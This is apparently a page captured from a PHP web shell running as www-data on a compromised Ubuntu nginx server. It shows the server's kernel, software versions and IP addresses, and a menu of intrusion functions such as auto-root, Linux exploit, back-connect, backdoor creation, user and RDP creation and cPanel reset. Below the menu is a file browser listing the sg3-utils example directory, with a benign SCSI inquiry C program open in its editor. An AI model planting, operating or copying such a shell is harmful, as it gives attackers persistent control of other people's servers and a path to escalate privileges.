Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
sg3-utils /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
archive
[ DIR ]
drwxr-xr-x
Makefile
3.08
KB
-rw-r--r--
Makefile.freebsd
1.98
KB
-rw-r--r--
README
776
B
-rw-r--r--
forwarded_sense.txt
296
B
-rw-r--r--
nvme_dev_self_test.hex
806
B
-rw-r--r--
nvme_identify_ctl.hex
1.17
KB
-rw-r--r--
nvme_read_ctl.hex
1.79
KB
-rw-r--r--
nvme_write_ctl.hex
1.8
KB
-rw-r--r--
reassign_addr.txt
465
B
-rw-r--r--
ref_sense.txt
305
B
-rw-r--r--
scsi_inquiry.c
4.09
KB
-rw-r--r--
sdiag_sas_p0_cjtpat.txt
405
B
-rw-r--r--
sdiag_sas_p0_prbs9.txt
407
B
-rw-r--r--
sdiag_sas_p1_cjtpat.txt
464
B
-rw-r--r--
sdiag_sas_p1_idle.txt
560
B
-rw-r--r--
sdiag_sas_p1_prbs15.txt
408
B
-rw-r--r--
sdiag_sas_p1_stop.txt
359
B
-rw-r--r--
sg__sat_identify.c
7.55
KB
-rw-r--r--
sg__sat_phy_event.c
12.02
KB
-rw-r--r--
sg__sat_set_features.c
9.7
KB
-rw-r--r--
sg_compare_and_write.txt
2.42
KB
-rw-r--r--
sg_excl.c
5.98
KB
-rw-r--r--
sg_persist_tst.sh
3.54
KB
-rwxr-xr-x
sg_sat_chk_power.c
8.95
KB
-rw-r--r--
sg_sat_smart_rd_data.c
6.4
KB
-rw-r--r--
sg_simple1.c
5.87
KB
-rw-r--r--
sg_simple16.c
3.41
KB
-rw-r--r--
sg_simple2.c
6.59
KB
-rw-r--r--
sg_simple3.c
6.46
KB
-rw-r--r--
sg_simple4.c
7.25
KB
-rw-r--r--
sg_simple5.c
7.47
KB
-rw-r--r--
sg_unmap_example.txt
1.53
KB
-rw-r--r--
sgq_dd.c
37.77
KB
-rw-r--r--
transport_ids.txt
1.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scsi_inquiry.c
/* * Copyright (C) 1999-2018 D. Gilbert * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * SPDX-License-Identifier: GPL-2.0-or-later * * Test code for D. Gilbert's extensions to the Linux OS SCSI generic ("sg") * device driver. * This program does a SCSI inquiry command on the given device and * outputs some of the result. This program highlights the use of the * SCSI_IOCTL_SEND_COMMAND ioctl. This should be able to be applied to * any SCSI device file descriptor (not just one related to sg). [Whether * this is a good idea on a disk while it is mounted is debatable. * No detrimental effects when this was tested ...] * * Version 0.16 20181207 */ #include <unistd.h> #include <signal.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <scsi/scsi.h> /* #include <scsi/scsi_ioctl.h> */ /* glibc hides this file sometimes */ typedef struct my_scsi_ioctl_command { unsigned int inlen; /* _excluding_ scsi command length */ unsigned int outlen; unsigned char data[1]; /* was 0 but that's not ISO C!! */ /* on input, scsi command starts here then opt. data */ } My_Scsi_Ioctl_Command; #define OFF (2 * sizeof(unsigned int)) #ifndef SCSI_IOCTL_SEND_COMMAND #define SCSI_IOCTL_SEND_COMMAND 1 #endif #define INQUIRY_CMD 0x12 #define INQUIRY_CMDLEN 6 #define INQUIRY_REPLY_LEN 96 int main(int argc, char * argv[]) { int s_fd, res, k, to; unsigned char inq_cdb [INQUIRY_CMDLEN] = {INQUIRY_CMD, 0, 0, 0, INQUIRY_REPLY_LEN, 0}; unsigned char * inqBuff = (unsigned char *) malloc(OFF + sizeof(inq_cdb) + 512); unsigned char * buffp = inqBuff + OFF; My_Scsi_Ioctl_Command * ishp = (My_Scsi_Ioctl_Command *)inqBuff; char * file_name = 0; int do_nonblock = 0; int oflags = 0; for (k = 1; k < argc; ++k) { if (0 == strcmp(argv[k], "-n")) do_nonblock = 1; else if (*argv[k] != '-') file_name = argv[k]; else { printf("Unrecognized argument '%s'\n", argv[k]); file_name = 0; break; } } if (0 == file_name) { printf("Usage: 'scsi_inquiry [-n] <scsi_device>'\n"); printf(" where: -n open device in non-blocking mode\n"); printf(" Examples: scsi_inquiry /dev/sda\n"); printf(" scsi_inquiry /dev/sg0\n"); printf(" scsi_inquiry -n /dev/scd0\n"); return 1; } if (do_nonblock) oflags = O_NONBLOCK; s_fd = open(file_name, oflags | O_RDWR); if (s_fd < 0) { if ((EROFS == errno) || (EACCES == errno)) { s_fd = open(file_name, oflags | O_RDONLY); if (s_fd < 0) { perror("scsi_inquiry: open error"); return 1; } } else { perror("scsi_inquiry: open error"); return 1; } } /* Don't worry, being very careful not to write to a none-scsi file ... */ res = ioctl(s_fd, SCSI_IOCTL_GET_BUS_NUMBER, &to); if (res < 0) { /* perror("ioctl on scsi device, error"); */ printf("scsi_inquiry: not a scsi device\n"); return 1; } ishp->inlen = 0; ishp->outlen = INQUIRY_REPLY_LEN; memcpy(buffp, inq_cdb, INQUIRY_CMDLEN); res = ioctl(s_fd, SCSI_IOCTL_SEND_COMMAND, inqBuff); if (0 == res) { to = (int)*(buffp + 7); printf(" %.8s %.16s %.4s, byte_7=0x%x\n", buffp + 8, buffp + 16, buffp + 32, to); } else if (res < 0) perror("scsi_inquiry: SCSI_IOCTL_SEND_COMMAND err"); else printf("scsi_inquiry: SCSI_IOCTL_SEND_COMMAND status=0x%x\n", res); res = close(s_fd); if (res < 0) { perror("scsi_inquiry: close error"); return 1; } return 0; }
Close